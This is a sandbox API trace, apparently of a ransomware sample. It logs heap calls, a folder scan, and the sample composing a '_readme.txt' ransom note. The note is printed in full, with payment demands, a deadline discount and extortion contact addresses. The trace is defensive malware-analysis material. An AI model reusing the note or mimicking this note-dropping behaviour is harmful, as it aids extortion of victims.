returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.572] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0124.572] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.573] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.573] PathFindFileNameW (pszPath="") returned="" [0124.573] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.573] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.573] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.573] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.573] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0124.573] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.573] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0124.573] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.574] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.574] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.574] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.574] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.574] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.574] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.574] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.574] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.574] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.574] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.574] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.574] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 